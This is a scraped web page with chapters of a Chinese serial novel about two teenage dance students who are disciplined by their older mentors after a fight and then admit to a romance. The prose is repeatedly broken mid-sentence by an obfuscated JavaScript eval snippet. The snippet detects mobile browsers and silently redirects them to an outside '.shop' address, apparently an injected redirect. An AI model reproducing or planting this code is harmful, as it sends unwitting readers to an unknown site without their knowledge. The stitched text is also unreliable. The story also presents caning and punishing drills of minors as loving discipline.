;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239554|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呃别担心”,许嘉余连忙伸出手,“小伤口,不需要缝针。天热,我就不给他包了。今晚别沾水,回头结了痂就好了。身上都是些拳脚小伤,没什么事儿,不用担心。” 萧泽点点头,算是长舒了一口气。许嘉余盯着他片刻,终于忍不住,“你是不是——” ”萧泽哥!“ 闷闷地一声,想也知道是无精打采的承儿,捧着手,跟在钟彦霖身后,像是霜打的茄子。 ”怎么样?“ 萧泽和晓希一起迎了上去。钟彦霖把片子递给许嘉余,他迎着光看了一眼,”没事儿。回家养养就好了。拳头挥的是挺大劲儿……“ 他随手把片子扔到桌上,对着彦承伸出手。”但记着,小子,下回,这么握。“ 因为揍人家”电炮“自己杵了手的,他隔三差五就能遇见一个。 下回?还敢有下回…彦承一脸不知所措地看着他,不知道他哥这会儿脸得是什么色儿。许嘉余看着这小子胆颤儿的样子,又瞟了眼钟彦霖,不禁笑了。”他们两个打六个,就伤这么点儿,算是赚了。“ 我的天…可别说了……彦承倒吸了口气,对着这“自来熟”的医生猛使眼色,恨不得立刻钻进他那白大褂的口袋里。 彦霖倒不见生气,貌似认同地点点头,甚至还笑了。 “医生说的有道理,教你就学着。虽说没有下回最好———但学着也不耽误。“ ———————————- 窗外的风景,不断向后闪着。回家的路上,车里格外安静。萧泽和彦霖都没再问事情的缘由,彦承心里,却总有些不安。 在急诊室里,零星提到打架的事,他只抢着说是他们在路边等着打车,那些人喝醉了乱扔东西,砸到了晓希。他去和他们理论几句,才打起来了的。在外人面前,哥哥们自然没有多问,何况他们的心思就全在自己和晓希的伤上。 彦承心里不禁一阵翻腾,有愧疚,也有忐忑。可……他也不算说谎吧。他说的都是实话!只是…只是隐瞒了一部分而已。 车子飞驰在出市区的环城高速上,他不禁去看一直偏头望着窗外的晓希。他知道,那些人的那些话,刺激到晓希了。晓希似是感受到他的目光,回过头笑笑,悄悄握住他的手。黑暗的后排座,晓希的掌心干燥而温暖。彦承紧紧地回握住,默默闭上眼睛。 午夜车少,到家很快。可时候到底不早了,一进家门,萧泽就催着他们赶紧去睡觉。 “学长“,临回屋前,晓希在楼梯口等着萧泽,少年有些局促地撑着腰,“对不起,让您和彦霖哥担心了。” 萧泽看着他额角红肿的伤,“我们担心事小,你伤了自己事大。对了,林老师知道了吗?” 这一问,晓希更加语塞。 “我想着也没什么事儿,这么晚了,他知道反而白担心。” “是这个道理没错,但明天该说还是得说。” 萧泽揽着他肩送他回屋。这么多年晓希都惯了什么事都是自己,他是知道的。可总归林老师回来了,家里又不是没有大人,不能什么都自己扛着。 这一天,好像两天一样长。萧泽重新洗漱好,上了床,不禁长舒了一口气。钟彦霖把几个人从医院回来的衣服都扔进洗衣机,一回屋,就见屋里只开着小夜灯,萧泽靠在床头发呆。“还不睡?” 萧泽似有似无地应了一声,“嗯。后怕。” “嗯”。彦霖钻进被窝,拽着萧泽也躺下来。他明白爱人心里的担忧,他又何尝不是。两个半大小子黑灯瞎火的遇上这种事儿,这么点小伤算是走运了。真要是招惹上穷凶极恶的……他也不敢想。 “这俩孩子今天没全说实话吧,这事儿,我看他们还藏着点什么。” 之前光担心着他们来着,可回来路上,彦霖又反应过来些。 “我也觉得”,萧泽翻了个身,彦霖顺势把他揽在怀里,只听着他轻声说,“明天我问问吧。” 57. 挨罚了诶 晚睡似乎丝毫没有影响到萧泽的生物钟。一大清早,他照例起来出早功。 出去跑了一圈,回到练功房,没想到两个小的都在———昨晚明明说了免了今天的早功的。萧泽不细想也知道他们的小心思,也有心让他们吃吃“逞强”的亏,所以照着平时强度只多不少。仅仅一个早功,并不轻松。 到底昨晚在外面折腾地狠了,又睡得晚。四十分钟下来,两个孩子都有点脚软。萧泽瞟了眼时钟,还是心软占了上风。早饭都还没吃,他怎么也不能拿孩子们的身体置气。“自己调整下,休息吧。吃完早餐都回屋歇会儿,十一点再过来。” 萧泽在功房里向来话少,可今早听起来,还是格外的冷些。两个孩子只得答应着悄声关了门出去。 钟彦霖公司有事一早就出门了,荣姨在二楼打扫卫生。餐厅只有他们两个,一顿早饭吃的索然无味。吃饱了回房,困意确实上来了,他们倚着床头眯了一会儿,看着到了时间就连忙起来洗了把精神一下,到楼下去了。 十点五十五分,练了一上午的萧泽又在练功房等到两人。大概是怕伤口沾上汗,晓希带了个发带,承儿的手指也不那么肿了。他看在眼里,心放了一半。 “先活动活动吧”。萧泽抄起毛巾擦了擦汗,随手挂在颈间,又回身拿了藤条在墙边的练功凳上坐了。十分钟,两个孩子在他的眼神下热身,一点马虎都不敢有。 “之前咱们练的那套素质还记得吗?” 这句是问彦承的。 “记得的。” 彦承忙不迭地答应。 萧泽点点头,扭头跟晓希解释。 “以前也带你练过的,扳前腿、转旁、再转回来。下来竖叉、转横叉。收腿躺下,打胯十次,腹肌十次,然后坐姿横叉向前,收腿。背肌十次,接地面踢抓后腿,各控两个八拍……然后……最后起来,换边。” 能力素质的练习有许多套,虽说侧重点不同,但动作都出不了那些。晓希练得多了,萧泽大致说几个点他就能记住。只是学长这一套捋下来,是比往常的长了许多。 “承儿扳个腿我看看。” “哦”,彦承有些不明所以,却还是提口气,右腿踢上来,轻巧地抱住。不过右边小手指不敢使劲儿,他只能四只手指捏着脚腕。 “手行吗?” 萧泽哥的语气总不如平日里温暖,彦承抿着嘴,声音也闷闷的,“嗯,可以的。” 萧泽点点头,在手机里找了个节奏合适的曲子,“那先顺一遍看看”。 再没有额外的话,音乐已经响起来了。 好在都是这一阵子滚过许多遍的,彦承练得很熟,晓希练记动作也向来不是问题,所以这一遍倒没出什么大毛病。萧泽还算满意。“左右两边算一遍,先来五遍。我喊停就控住,出错和落拍就加。” 晓希点着头,下意识的后撤两步等着音乐重新开始。脑海中却不禁闪现出从前许多个好像永远也结束不了的午后———拖着疲惫的四肢,努力抽取最后一点点气力,呼吸沉重地响在耳边,可谁也不敢放松一丝一毫。 附中的素质课上,文导的练功房里,总不乏这样的时刻。太阳好像永远也不落山,数字好像永远也不往下减。晓希不禁从镜中迅速看了眼彦承,心里暗暗替他们自己担心。 一上来,扳腿,萧泽就喊了停。晓希稳稳地定住,扎在那儿像根“钉子”。他是这样被磨出来的,老师们爱考的地方,他几乎都烂熟于心。可镜子里朝右边望过去,承儿却有些小麻烦:也不知道是太紧张还是什么,这一下腿踢猛了,抓着脚腕蹦了几下,到底是没站稳掉下来了。 萧泽微微皱起眉。 几乎不用看萧泽哥的脸色,彦承的心也立刻提到了喉咙口。他长长呼出一口气,压下紧张,再次踢腿上来,抱住了。可脚下左蹭右蹭,说什么也站不稳。 “人往上站。呼吸往下沉,手臂,往回收。” 萧泽按停音乐,扬起声提醒。承儿一步步跟着动作要领,终于稳下来,他眉头也才稍稍舒展开,“扳腿,不会了?” 彦承努力保持着平衡,羞的想低头,却不敢,只得抿着嘴小声回应,“会……” 萧泽不再追究,眼神扫回到晓希这边。晓希心里也跟着一凛,尽力绷紧脚背,人又往上拔了拔。 停了音乐的房间,有些压抑,也有些热。晓希和彦承二人呆呆杵在地当中,带着十二分的小心。萧泽不说话,他们不能下来,更不能动。练功房的门开着,微风偶尔穿堂而过,扫过身上的细汗,温吞吞的并不舒服;窗外路过的孩童的笑声,听在耳中,也反而格外惹人心乱。 “下来。重来。” 等到彦承终于因为没力而左摆右晃起来的时候,萧泽才放了话。晓希控制着放下来,不禁偷偷甩了甩几乎要抽筋的腿。其实今天学长说了这个练法的时候,他心里就知道,五遍,也就是打个底。他们能在十遍里完成任务,都算是超常发挥了。 再来一遍的时候,萧泽没在扳腿的地方再为难他们。俩人顺利地往下跳,到了地面,才觉得稍稍松了口气。 “停。” 背肌做完,踢抓后腿的地方,学长毫无意外地喊了停,晓希用力蹬直膝盖,觉得腰上有些紧。软开上,腰向来不是他的强项,平时用得少,哪怕他自己想着勤练,也总比其他地方差点。亏是前一段刘老师盯他盯得紧,今天好在勉强看得过眼。 孩子们的长处短处,萧泽向来是心中有数的。晓希今天这个程度,比不上后腿扳的最好的时候。他站起身走到晓希身侧,藤条在他眼前点了点,“来,往下扳。” 晓希心里一紧,他没怎么这么练过,人没动腰已经先疼起来。 藤条这回落在腿上,不疼,只是提醒。晓希深吸一口气,慢慢压下上身,随着缓缓吐气,把腿也跟着往下拉。还不等双腿拉成直线,腰间的阻力似乎已经到了顶。蜷曲到极致的脊椎又酸又胀,他努力维持着平衡让后面的脚背贴着地面,可这边手心已经续了汗,扳着小腿的手臂不禁有些不够力。 萧泽上前两步,踩住他后面的脚腕,“膝盖绷直了,再下一点。” 借着学长的力,比自己控制着要轻松些许。晓希手滑的很,不禁将指尖扣紧在腿上,手臂用力往下带,总算在头顶拉直了个竖叉。腰间的压力和疼痛成倍地增长,他不禁动了动喉结,只觉得呼吸都有些难过。 ”起来吧。“ 之前没怎么活动腰,萧泽也没特意要练这块,只是想看看这一阵下来他自己能到什么程度了。晓希慢慢撑起来,脸色较方才红了不少。学长没说放松,他便仍回到方才起始的动作,可现在维持起来,又比方才艰难不少。 ”你这个腰,越多纵着自己一年,就越比上一年难练。你自己在学校要是练不好,就跟文导说上隔壁班跟女孩儿一起练去。“ 晓希微微一怔,垂下眼睫,脸比方才烧的更热了。萧泽知道这话重,他也很少这样用话拿捏人,可他就是真的看好、喜欢这孩子,眼睛里才过不去一点瑕疵。像他这样平日里努力到了99.9%的孩子,最后疏忽的那0.1%,就只能下剂猛药才行。 晓希抿紧嘴唇,齿间默默攀上内侧的嫩肉……心里怎么可能不难受。只是他也知道学长是真的替他着急,只能暗暗下了决心必须把这一块补齐了。 萧泽眼神扫过另一边,承儿眼睛追着晓希,满脸的心疼。殊不知自己手已经溜到脚腕,膝盖更是弯到一边去了。萧泽知道他也是耗得久了,便没多苛责。藤条在把杆上轻轻敲了两下,两个孩子得了指令,暗暗松了口气,卡着下一个节拍放下了腿。 这么一个个动作卡着的练法,一遍下来,就用了十分钟。晓希体力好一点,胸口也止不住的起伏。承儿就更不必说,半分钟的调整时间里,一想到刚刚才只是做了半遍,他心里就有些没底。 好在接下来萧泽没有太为难他们,音乐一直放着,两遍下来,都没出什么大差错。可到底不是轻轻松松的素质练习,前面又耗了太多体力。渐渐的,承儿这边有些掉拍错拍,动作质量也不如一开始高了。 ”三遍。“ 突如其来地这一句,在音乐声中显得格外突兀。两个孩子都是心中一紧,陡然想起方才开始时立下的规矩来。 …… …… ”六遍。“ 半个小时过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239555|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,反反复复,晓希和彦承距离开始时的目标,甚至还远了一步。萧泽哥的声音一点温度都没有,彦承抿着嘴,委屈在心底蔓延开来。他们已经做了好多遍了…… 多加的这几遍,几乎都是他的错处,分明是他连累了晓希。而镜中的晓希,明明和他一样满头大汗,听了萧泽哥的报数,却一点反应都没有。彦承宁可他露出些埋怨他的表情来,好让自己能不那么愧疚。 练得越多,身体就越疲惫,出错的概率也越高,萧泽哥的要求却一点都没有放水,这几乎已经是个不可能完成的任务。彦承有些机械地做着,不知道萧泽哥是不是真的要把他们练吐了才会停。早上进屋的时候,他很怕被问昨晚的事情,可现在,他倒希望萧泽哥问一问。哪怕打了骂了,也是有个头的。 加到第七遍的时候,萧泽到底是心软了。两个孩子浑身都叫汗湿透了,哪怕他不叫停控着,他们也过不去一遍。萧泽朝彦承挑了下藤条,回来敲了敲身侧的凳面。彦承会意下来,跑到凳子跟前,迟疑了片刻,才反应过来是让他耗腿。少年犹豫了下,还是先把左腿架了上去。萧泽不经意地点点头,伸手蜷着他的脚尖,“晓希做完你就下来。” ———————————————————————— 最后一遍的最后一个动作结束,晓希不禁跪在地上,撑着膝盖大口喘着粗气,汗水顺着鼻尖和下颌止不住地往下滴。他也不知道自己是怎么坚持下来的……起初他想着学长是明晃晃地给他们放了水,他一定得一鼓作气跳下来。可体力实在一点点告竭,他一直在落拍,一直在加。再后来,腹肌做起一个标准的都要几秒,后腿实在搬不起来了,要好几下才抓得住,学长似乎也没有再计较。 晓希小心避着伤口擦了擦满头满脸的汗,按着学长的要求自己在地上简单做些放松的拉伸。另一边彦承在练功凳上却有些起不来—— 他想着晓希一个人在那儿做素质做的都快脱力了,他只是简简单单压腿心中过意不去,便自己使劲儿往下耗着,这么长时间过去,他腿疼的几乎起不来了。 萧泽给了十分钟的调整时间。十分钟过去,两个孩子又规规矩矩地站到了跟前。 “昨天晚上的事,你们还有没有什么想告诉我的?” 该来的总会来,两个孩子微微一愣,累的发蒙的脑子险些没反应过来。 萧泽坐在凳子上把两人打量了一番,都是低着头抿着嘴,一看便是有事却不想说的样子。他突然响起前些天在网上看到的家庭教育的文章来: “要给孩子留存自己秘密的权利……” 。也是,事情的大概他们也清楚了,两个孩子想必心里也受了教训,再有什么不想说的,就不说吧。 “没关系,你们不想说我和彦霖就都不再问了。但下个问题,你们俩好好想了回答我:昨天晚上的事情,还有没有更好的处理方法?” 还有更好的处理方法吗?当然有。彦承在身后绞着手指忍不住想。如果当时他和晓希两眼一闭两耳一堵转身就走,也许就真的什么事都没有了。可……可 “道理上有,情理上没有。” 彦承突如其来的这一句,晓希也没想到。他不禁扭过头看向彦承,却听见学长语气极为平和地说,”嗯,你接着说。“ 彦承这一句甩出去也把自己吓了一跳,他没有赌气的意思。可这一句听着,不是赌气,也像顶嘴。不过不说都说了,他知道萧泽哥是很讲道理的……索性一股脑儿的都说了。 “我就是想说,这世上什么事儿,都总有更好的处理办法。可要是什么事儿,都能当场给出最优解的话,我们就不是人类了。人都是有感情的,会生气,会冲动,会为了……喜欢的人……义无反顾。那个关头上,我和晓希被人那样说都忍住了,可他被人砸破了头,我还要怎么忍得住。我——“ 彦承突然卡住,忍不住抬头看向萧泽哥,他好像说漏嘴了…… 可还不等他再说什么, “承儿你口才这么好,我可都不知道呢,嗯?” 彦承猛地回过头,只见哥哥斜倚在练功房的门口,腿一下子就软了。 完了。 58. 第54章 “哥…/彦霖哥。” 两个小的乖乖叫人,钟彦霖点点头,肩膀轻轻撑开墙壁,走了进来。 彦承看哥哥还穿着衬衫西裤,显然是刚到家连衣服都还没来得及换,忍不住小声念叨了一句:“哥你怎么…回来了啊…” 彦霖手里拎着个小医药箱,听见这话,把箱子撂在凳子上,不轻不重地磕出一声响。“我不回来,能看见你这‘舌灿莲花’的吗?” 彦承一时语塞,牙齿搓磨着嘴唇,不敢再说什么。彦霖没理会他这副样子,只是脸上最后一丝笑意也收了,露出平时少见的带着压迫的威严来:“书房去。” 言简意赅,显然是对彦承一个人说的。 可错,明明是两个人一起犯的……眼看着彦承抬脚要走,晓希不禁一把扯住他,思忖着如何对彦霖哥解释。钟彦霖却没给他再说什么的机会,“你俩的错,谁也没资格给谁求情。” 晓希到嘴边的话被怼的没说出来,彦承见状连忙拨开他手臂,极轻地摇了摇头。在哥哥那里,晓希向来是比自己多些分数的。可哥哥今天连他的面子都不给……彦承不及多想,一路小跑出去了。 房间里只剩下他们三个,气氛仿佛更加像是凝了层严霜。萧泽轻叹了口气,去拿药箱。 “我来吧。” 彦霖伸手接了过来,又从旁拖了个凳子,朝晓希指了指,“坐着弄。” 晓希坐过去,用发带重新把掉下来的碎发箍了上去,然后看着彦霖哥打开药箱,拿着镊子夹了块棉花出来。 “这有点蜇。” “嗯。” 棉花在额角轻轻沾了下,晓希轻轻一颤,一边的眉眼不受控地了眯起来。彦霖等着他适应了,又好好擦过一遍,才涂了药上去。 彦霖哥动作很轻,和现在严肃的样子仿佛有些不相衬。晓希绞着手指,感觉额头一阵清凉,然后看着彦霖哥擦擦手整理好药箱,才又坐回学长身边。“说吧。” 从哪儿开始说呢。 简简单单两个字,却分明带着不容拒绝的逼迫。晓希抿着嘴深吸了一口气,不得不整理起心情。 “昨晚的事情,是我们冲动了。我明白您和学长的意思——发生这样的事情,仅只是受了点小伤,算是幸运了。不然我的比赛,彦承的艺考,都要耽误。再严重些,万一有什么不可逆转的伤,我们后悔都来不及……这些道理,我和彦承都明白,昨天晚上,我们也是忍了又忍的。当然,做错就是做错了。再有下次,我们一定会更加慎重、冷静地处理。” 知错了,错哪儿了,以后怎么做,都说的明明白白。若叫往常,这件事也就过去了。只是今天……萧泽忍不住打量着面色不见松动的爱人……彦霖是和他们较上劲儿了。 仿佛是感应到爱人的目光,钟彦霖抬手包住萧泽撑在凳沿的手,安抚地握了下,“对不住了。” 教育孩子的问题上,两个人谈过,要‘说一不二’:任何问题,都应该是站在一条战线上的。有分歧,压下事后再谈。萧泽知道他大概是进来前听到自己跟孩子们说了不再追究,现下,是为要驳了他的话而道歉。 当着孩子的面,萧泽只眨了下眼叫他安心。下一秒,便看着他拿起横在凳子上的藤条。 ”到底是怎么招惹上的,怎么打起来的?非要让我这么问吗?“ 晓希不自觉咬紧了嘴唇,彦霖哥尾音里流露出的严厉比任何时候都甚。其实事情的原委,他和彦承也没想要”宁死“瞒着的,可不知怎么,越拖、就好像越张不开口。 晓希心一横,”我们接-吻了。“ 一句话,仿佛呲着烟的火花扔进安静的空气中。钟彦霖和萧泽均是一怔,不禁扭头看向彼此。 意外。 他们本以为,只是什么热血的路见不平又或是过分的年轻气盛,却没想到,是这样的原因。可是再一深想,一切都好像有了答案:为什么一群醉汉会无故招惹他们,彦承说漏嘴的那一句又到底怎么回事,甚至是两个孩子莫名有些低迷的情绪和若有所思的模样——现在都明白了。 房间里,又是真空一般的沉静。晓希盯着眼前的地板,整个人都不禁绷紧了。他不敢抬眼去看学长和彦霖哥,不知道这是多大的“错”,也不知道他们心里是怎样看待这件事的。其实学校里恋爱的同学并不少,接吻…或者更多,也不算是稀奇事。但他和彦承,总归是有些不同的… “你们还有没有做什么不该做的事情。” 先开口的是萧泽。 晓希猛地抬起头,脸色一下涨红了,”没有!“ 少年脸上带着少见的慌乱和难为情,萧泽知道他不会说谎,点点头。其实这一阵,他不是没有注意到两个孩子日益亲昵的举动,练功房里,厨房里,甚至是走廊上,他撞见过几次。只是当下也只觉得他们都是男孩子,一起练功多了,关系又好,打打闹闹很正常。现在看来,是他想的浅了。他和彦霖也是从这个时候过来的,少年心性,总有发乎情,却难止于礼的时候。 “这个事情,其实我和萧泽早想跟你们说的。” 晓希抬起头,面上有些未曾反应过来的恍惚。 钟彦霖放下藤条,接着说,“之所以迟迟没有提起,一是觉得你们年龄小,也许还早,二来……我们做哥哥的,多少也觉得有些难为情,不好开口。“ 晓希终于听出了这话的去向,心头不禁慌乱起来,本就不曾降温的面颊愈加灼热。 ”今天既然提起来了,就一次说完。我们对你们两个,就两个要求。第一,在你们俩成年之前,不该做的事情不许做。第二,什么场合、什么能做什么不能做,你们自己心里要有杆秤。像昨晚那样的事情,不希望再发生了。“ 晓希紧紧抿着嘴唇,想低下头去,却又被彦霖哥的眼神逼得不敢挪开。钟彦霖也几乎从没在这孩子身上见过现在这样紧张、无措、又羞愧的表情,可原则性的问题,他向来不能退让。”你比彦承大一岁,这个分寸就交给你把握。这两条但凡违反了一条,一你们两个立刻分开,二我唯你是问。听不听得懂?“ ”懂。“ 几乎是压着彦霖哥的尾音,晓希拼命稳着声线,应下这一句。 —————————————————————— ”晓希,你睡了吗?“ 门被推开一个小缝,彦承带着些软糯的声音伴着微黄的灯光透了进来。晓希本来坐在床边发呆,看他趿拉鞋子在门口,便赶忙迎了过去。”怎么了。“ 彦承支支吾吾了半天,一个”我“字开头,就说不下去了。晓希心里一紧……哪怕是彦承什么都没说,可那种好像被枝蔓攀上心尖的感觉,他又何尝没有。 ”去你房间吧。“ 不敢再深想下去,晓希带上自己房间的门,扶着彦承往回走。”你这个样子,就别乱走了。“ 彦承的声音低低的,虽是说着没事,语气里却夹杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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承儿神色却有些黯淡下来,摆弄衣袖的手指,也渐渐停下,“我连累你的,其实不止这一桩啊。昨天晚上……毕竟是我主动先亲你的” “彦承……” 彦承扯了下嘴角,继续自顾自地说:“我明白的,你方才,不想让我进屋的吧。怕万一在你房间睡着了,不走,怎么办。对不起,我不是故意叫你为难的,我就是——真的有点……想你了。当然,我也有点气哥,我们两个人的事,为什么要唯你是问。” 晓希的心被他那一句“想你”说的酸酸软软的,不禁侧过身用手撑着头,在月光下打量他英-挺的鼻梁。“不是你想的那样。这个事,确实是两个人的事,可两个人里,也总得有一个把关的。彦霖哥是知道你的性子是脾气上来就不管不顾的,交给你,我们俩就完蛋了。我比你大一岁,这个事就应当我来承担。” 彦承咬着嘴唇望着他,“你一点都没有误会哥?” “误会什么?” “今天在功房,我哥跟你那么凶……而且他在书房打了我,却跟你定了约法三章,我以为——” 晓希没等他说完就笑了,“怎么,难不成我不挨揍还不开心啊?” 彦承有点急了,牵动了身后的伤,嘶嘶地吸气,“你知道我不是那个意思。” “好了”,晓希安抚地拍着他肩膀,“我懂你的意思。可你知道,彦霖哥是真没把我当外人,所以罚不罚,打不打,才全凭着本心和情理。我自然也不会因为他只打你,却凶了我,而觉的有什么里外亲疏。更何况,我这次‘逃过一劫’,是因为比赛在即。从前高考前跟着彦霖哥学习的时候,你又不是没看见我手心挨的板子。” 听见晓希这个事都拿出来说了,彦承反而跟着不好意思起来。他原本只是担心哥哥会因为这次的事情生晓希的气,现在看来是自己想多了,他心里也总算安定了一点。 59. 彦霖哥陪聊天 彦承是真的累坏了。聊了没一会儿,便就着那么个趴着的姿势睡着了,侧脸压在枕头上,嘴巴被挤出个可爱的“O”型。晓希怕他着凉,小心地把薄被从他身下拽出来给他盖上。又把扔在一旁的手机充上电,才关了门出去。 今晚的月色格外好,把房间照得格外亮。晓希一进屋也不禁一个大字型扑上床,将一层银辉都背在身上。 直到呼吸开始变得不那么顺畅,他才翻过身来,额头的伤有些隐隐作痛。其实距离昨夜的那场小风波也不过才一天而已,可感觉上却像是过了好久。不光是彦承,他也累了,累到好像昨夜那些不得不听进心里的辱骂和指摘都不那么刺痛了。 ————早些时候————— “晓希跟我去吧。” 今天午餐是从家附近的餐厅订的,钟彦霖看着时间差不多,就叫上他一起去拿。晓希知道是有话跟他说,便连忙跟着了。 餐厅离家不远,两人走着去。几近中午的阳光并不毒辣,凉风习习,吹在脸上,格外舒服。晓希安静地走在彦霖哥身侧,忍不住偷偷深吸了一口气。 “委屈吗?” 钟彦霖突然问。 晓希顿了下,摇摇头,“不委屈。这次确实是我们做错了。我们——” 彦霖看他回答得那么快,不禁微微牵起嘴角,“我说的不是这个。” 晓希有些不解地看向彦霖哥,只见他微扬着头望着前方,浅浅的笑意里带着不难察觉的惆怅。“明明和其他人的感情没有什么区别,却不能像他们一样自由坦荡地表达爱意。委屈吗?” 晓希一怔,眼神不禁错开落在空气中……他的确,没办法再毫不犹豫地说出“不委屈”三个字。 委屈吗? “不去想的话……就还好吧。” 良久,他才低着声回答。 因为好像从来都是这样子,所以也不觉得有什么特别。毕竟…大家都习惯了遮遮掩掩,好像这件事,本就该是见不得光的,也就无所谓委屈、无所谓不公了。只是……那些带着厌恶与鄙夷的神色从脑海中闪过,晓希不禁皱紧眉……他也想要大大方方牵着彦承的手,他也不想只能在电影午夜散场后光线阴暗的树荫下才敢偷偷亲/吻。 只要一这样想想,谁又能真的不委屈呢。 “他们说,我们这个圈子……也许只有特别杰出的人,才能得到额外的理解和宽容。” 说出“我们这个圈子”几个字,晓希不禁卡了壳,他不愿意将自己、将彦承,还有学长彦霖哥,都归为异类。 钟彦霖像是丝毫不介意般,依旧笑着,“嗯,我也听人这样说过。可是,论成就,你也知道,小泽在他的领域里,已经是做到了头;论家世,钟萧两家哪怕不是什么豪门大院,也足够我们不必仰任何人的鼻息。即便是这样,我们——” 最后几个字,彦霖没有说完。晓希明白,即便是这样,学长和彦霖哥也依旧和许多人一样,小心翼翼地防备、生活着。 身后传来不断拔高的引擎声,钟彦霖回头看了一眼,把渐渐走到马路下边的晓希揽到里侧来。“因为归根结底,我们需要的,从来不是‘别人’的宽容。” 晓希似懂非懂地仰起头。 “我们当然也有过无数次想要远走高飞的冲动。可是我和小泽,都很希望能够得到父母长辈的理解。更多的,他不能放弃舞蹈,我也没有办法放弃钟氏,他是父亲和萧叔两个人的心血。所以只要想想这些无论如何都不能舍得的事情,其他再舍不得的,也都得退让了。人活着,无非就是个不断取和舍的过程吧。” 晓希低下头,有些震动。在此之前,他不是没有想过他和彦承的将来。可现在看来,无论是哪一条路,他也许都想得太简单了。 钟彦霖看着孩子沉思的模样,不禁拍拍他肩膀。“我和小泽都没有办法告诉你们怎么样做是对的。毕竟,每个人的人生都不一样,你和承儿,也都会有自己的‘舍’和‘得’。 我知道,给你们定下的两条规矩,也许是有些不近人情,我们只是希望在你们有能力独自面对这个世界之前,能给你们最大的保护吧。” “没有的,没有不近人情,” 晓希急切地解释,“我和彦承本来也是这样想的。昨天晚上,昨天我们——” 彦霖捏了捏他脖颈,示意没关系,“我不知道那些人到底和你们说了什么,想来,也不会好听到哪里去。你们两个,都不要往心里。” 心底有些莫名的情绪,不停地往上涌。晓希低下头,不想泛红的眼眶被彦霖哥看见。“您放心,我们没事的。彦承说的对,在相爱这件事上,我们没有做错什么,不必受任何人的指摘和谴责。” ————— 耳边的手机突然震动了两下,晓希翻身撑起来,用手背擦了擦有些湿润的眼睛。短信是学长发来的: “明早还是送你回学校,不许起太早了。” 晓希愣了愣神,回复了一个带着感叹号的“嗯”。他将手机放回床头,人钻进被子,不知为何,从前到今日的许多场景都一幕幕地在眼前闪过。家人、朋友、师长、爱人。他从没想过,此时此刻,在这个兵荒马乱的24小时后,竟是他觉得人生格外幸福的时刻。 —————————————————————————————————— 周二一大早,萧泽就带着彦承出门了。 今天是拍“艺术照”的日子,彦承抱着装着练功服的背包坐在副驾,有些忐忑。 目的地是在首都郊区附近的综合艺术区,离家不远,驱车二十分钟,就到达了园区。萧泽停好车和彦承走着进去,迎面看到的都是风格迥异店面,有画廊,有乐吧,有咖啡厅,还有两家舞蹈工作室。 彦承跟着萧泽哥拐了两次,就看见一张巨幅的黑白色调的人像照片出现在眼前。穿过透明的玻璃门和橱窗,可以看到许多摄影器材和满墙满地的摄影作品。是这里了。 萧泽推开门,站在前台的是个漂亮的小姑娘。一看来人,眼睛开心地弯成了月牙,“你可来了,褚元还正念叨呢。” 说着话,就从里间走出个高大的身影,手里拿着个相机。看见萧泽,立刻放下相机来了个拥抱,“我说真是好久没见了啊。” “是啊,你这个大忙人。”萧泽拍拍他肩膀,回头叫彦承打招呼,“彦承,叫大元哥。” “大元哥。” 彦承乖巧地叫人。 褚元一看这浓眉大眼的样子,不是彦霖弟弟还是谁,“这可真是一个模子刻出来的。彦霖怎么舍得了?” 萧泽笑着摇摇头,冲前台的妹子打了个招呼,“小花,你先带他进去换个衣服活动活动吧。” 这次彦承没用提醒,他看见姐姐胸前的名牌上写着“杨晓桦”立刻甜甜地叫了声,“小花姐。” 萧泽拍拍他屁股,“去吧,活动开。” 褚元看着孩子拔高的身影走进里间,不禁感慨。“日子过得多快,之前念书时你和彦霖带他出来玩,还是个缠腿的小不点呢。” “可不是么。” 萧泽说着从身后拿出个纸袋,“喏,恭喜学成归来。” 褚元一看纸袋上印的字样,眼睛立刻就亮了。“不会吧?” 萧泽笑着递过去,由着他自己打开。褚元小心翼翼拿出里面叠着的纸,缓缓打开,人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239557|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下子就傻了,“沁园春雪!” 刘惠开是褚元非常喜欢的书法家,他最喜欢的就是老先生的沁园春雪。不过老先生这两年年纪大了,字本来写得就少了,这首诗更是好几年没写过了。他知道的,除了老先生工作室自己挂的一张,市面上就没有了。个人手里的,以他的经济实力,也收不来。 “之前端午的时候去刘老师,他说明年春节要在日本办展,估计不在家。说要给我写几幅小的,过年我和彦霖也许有用的着的。我跟他说有个小友喜欢他的沁园春喜欢的不得了。他老人家说那个字需要心气儿,现在写不出来。不过之前有张有点小瑕疵的,他其实自己最满意的,你不介意,就留着。” 